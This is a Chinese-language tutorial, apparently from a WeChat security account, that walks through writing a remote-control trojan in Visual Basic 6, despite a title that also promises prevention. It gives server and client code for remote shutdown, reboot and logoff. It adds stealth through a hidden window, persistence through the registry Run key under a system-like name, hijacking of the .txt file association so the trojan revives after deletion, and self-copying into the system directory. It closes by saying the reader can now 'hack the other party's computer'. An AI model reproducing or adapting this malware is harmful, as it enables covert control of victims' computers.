VB 木马编写与防范
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
木马一般分为两个主程序,即服务器端的程序(Server)和客户端程序(Client)。其中服务器端程序是给攻击对象用的,而客户端程序才是给黑客自己用的。下面介绍使用VB语言创建木马的具体过程。
一、木马编写
在这里编写木马的语言工具是Visual Basic中文版。具体的操作步骤如下。
步骤1:下载并安装Microsoft Visual Basic6.0中文版,安装完毕后启动该软件,其主窗口如图1所示。选择“文件”→“新建工程”菜单项,即可弹出一个“新建工程”对话框,如图2所示。
图1 Visual Basic6.0中文版窗口
图2 新建工程
步骤2:选择默认的“标准EXE”选项之后,单击“确定”按钮,即可弹出新建好的工程和窗口,如图3所示。在左边“工程”窗口中右击新创建的工程,在快捷菜单中选择“属性”选项,即可打开“工程属性”对话框,如图4所示。
图3 工程界面
图4 “工程属性”对话框
步骤3:在“工程名称”文本框中输入Server后,单击“确定”按钮,即可将新创建的工程名称修改为Server,如图5所示。
图5 修改后工程的名称
步骤4:在完成新建工程之后,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。双击Server窗体模块,在其中添加相应的代码,如图6所示。
图6 给服务端添加代码
添加的代码如下:
Private Sub FORM_Load()
With Me
.sckServer.LocalPort = 4000//本地端口
.sckServer.Listen//开始监听
End With
End Sub
//接受客户端的连接请求
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If sckServer.State <>sckClosed Then .sckServer.Close
.sckServer.Accept (requestID)
End With
End Sub
步骤5:建立客户端程序。新建一个名为Client的工程,把窗体名设为Client,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再添加一个cmdConnect按钮,在窗体模块中加入相应的控制代码,如图7所示。
图7 给客户端添加相应的控制代码
加入的代码如下:
Private Sub FORM_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1" '设置远程IP,本例设为本机'
.sckClient.RemotePort = 4000 '远程端口,就为server中的设置一样'
End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub
单击Connect按钮,创建的两个工程就可以进行通信了。但这种通信是不可见的,要想查看两个工程间的通信,可以在Client中的sckClient_Connect事件中加入代码:
debug.print "Connetion successful!"
这仅是第一步,下面为其添加一些其他的功能。
二、给客户端和服务端添加基本功能
这里给木马添加一些常见功能,如关机、重启和注销等。具体的操作步骤如下。
步骤1:在Microsoft Visual Basic6.0中打开工程Server,选择“工程”→“添加模块”菜单项,即可打开“添加模块”对话框,如图8所示。
图8 “添加模块”对话框
步骤2:在其中选择“模块”图标之后,单击“打开”按钮,即可打开新添加的模块,如图9所示。
图9 打开添加的模块
步骤3:右击新添加的模块,在快捷菜单中选择“模块属性”选项,即可打开“模块属性”窗口,在其中将其名称修改为modApi,如图10所示。
图10 修改模块名称
步骤4:在modApi模块中输入如下API函数,输入后的情况如图11所示。在两个socket编程中进行通信的重要事件是DataArrival事件,用于接收远程数据。
图11 输入API函数
Public Declare Function ExitWindowXXX Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
步骤5:在Client工程的Client窗体中放入3个按钮,分别是cmdExit、cmdLogoff、cmdReboot,用于对远程的关机、注销、重启操作。再在其中添加如下代码,添加后的情况如图12所示。
图12 添加按钮代码
Private Sub cmdExit_Click()
Me.sckClient.SendData "Exit"
End Sub
Private Sub cmdLogoff_Click()
Me.sckClient.SendData "Logoff"
End Sub
Private Sub cmdReboot_Click()
Me.sckClient.SendData "Reboot"
End Sub
上述代码全都是对服务端发出请求的。下面转到Server工程中,在Server中添加sckServer的DataArrial事件,接收客户端的请求。
步骤6:在Server工程的sckServer控件上添加如下代码。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me//接收客户端所请求的信息
.sckServer.GetData strData
Select Case strData
Case "Exit" //关闭计算机
Call ExitWindowXXX(EWX_SHUTDOWN, 0)
Case "Reboot"//重启计算机
Call ExitWindowXXX(EWX_REBOOT, 0)
Case "Logoff"//注销
Call ExitWindowXXX(EWX_LOGOFF, 0)
End Select
End With
End Sub
至此,就已经实现了基本功能。
三、防范木马在后台运行
由于木马是恶意病毒,黑客为避免在运行时很容易被系统管理员发现,常会使木马在后台运行,黑客通常在Server中的form_Load事件中添加代码“me.hide”,这样木马就会隐藏在后台运行了。
四、木马开机运行
现在很多木马都具有开机自启动功能,该功能是通过把木马加入注册表的启动组中来实现的。其实现步骤如下:
步骤1:在Server工程中的modApi函数中加入如下API函数。
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H70000002
Public Const HKEY_CLASSES_ROOT = &H70000000
步骤2:将木马进程添加到注册表中,此时用到的代码如下。
Public Sub StartupGroup()
Dim sKey As String
Dim result As Long
Dim hKeyID As Long
Dim sKeyVal As String
sKey = "Systrsy" //注册表启动组中的键,寻找一个与系统文件相近的
sKeyVal = "C:/windows/system/systrsy.exe" //木马程序路径,可用GetSystemDirectory来获取系统路径
result = RegOpenKey(HKEY_LOCAL_MACHINE, _"Software/Microsoft/Windows/CurrentVersion/Run", hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)
End If
End Sub
这样,就可以将木马添加到注册表中了。
五、黑客防止木马被删技术
即使木马在后门运行,有经验的网络管理员仍然可以发现并删除隐藏在计算机中的木马。黑客在这方面采取了措施使管理员即使发现木马也删不掉,我们应了解黑客采用创建木马和文件的关联来实现这个功能的方法,并做好安全防范。创建木马和文件的关联,可以使用如下的代码:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfile/shell/open/command"
skeyVal = "C:/windows/system/txtView.exe"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
End If
End Sub
上述代码是将木马程序与txt文件进行关联,但创建的木马是C:windows/system/systrsy.exe,而文件C:/windows/system/txtView.exe是前面所创建木马的一个复制体。
六、完成木马的编写
在设置完木马与文件的关联后,还需要将木马程序复制到系统文件中,以便下次开机运行。此时需要返回Server工程的Server窗体的form_Load中,加入如下代码:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "/" & App.EXEName & ".exe"
sSystemDir = "C:/windows/system"
On Error Resume Next
//复制文件成系统目录下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe"
On Error Resume Next
//复制文件成系统目录下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "/txtView.exe"
//调用
Call startupGroup
Call WriteToTxt
//判断程序是否正在运行
If App.PrevInstance Then
//如果已经运行就退出
End
End If
在添加完成之后,木马程序基本上已经编写结束了,将其编译成EXE文件,程序只要一经运行就会把自身复制到系统目录下(还带一个分身),下次开机即可自动运行,这样就可以成功黑掉对方的计算机了。即使对方发现把它给删了,一旦打开TXT文件,木马又可以复活,怎么删也删不掉。
微信公众号:计算机与网络安全
ID:Computer-network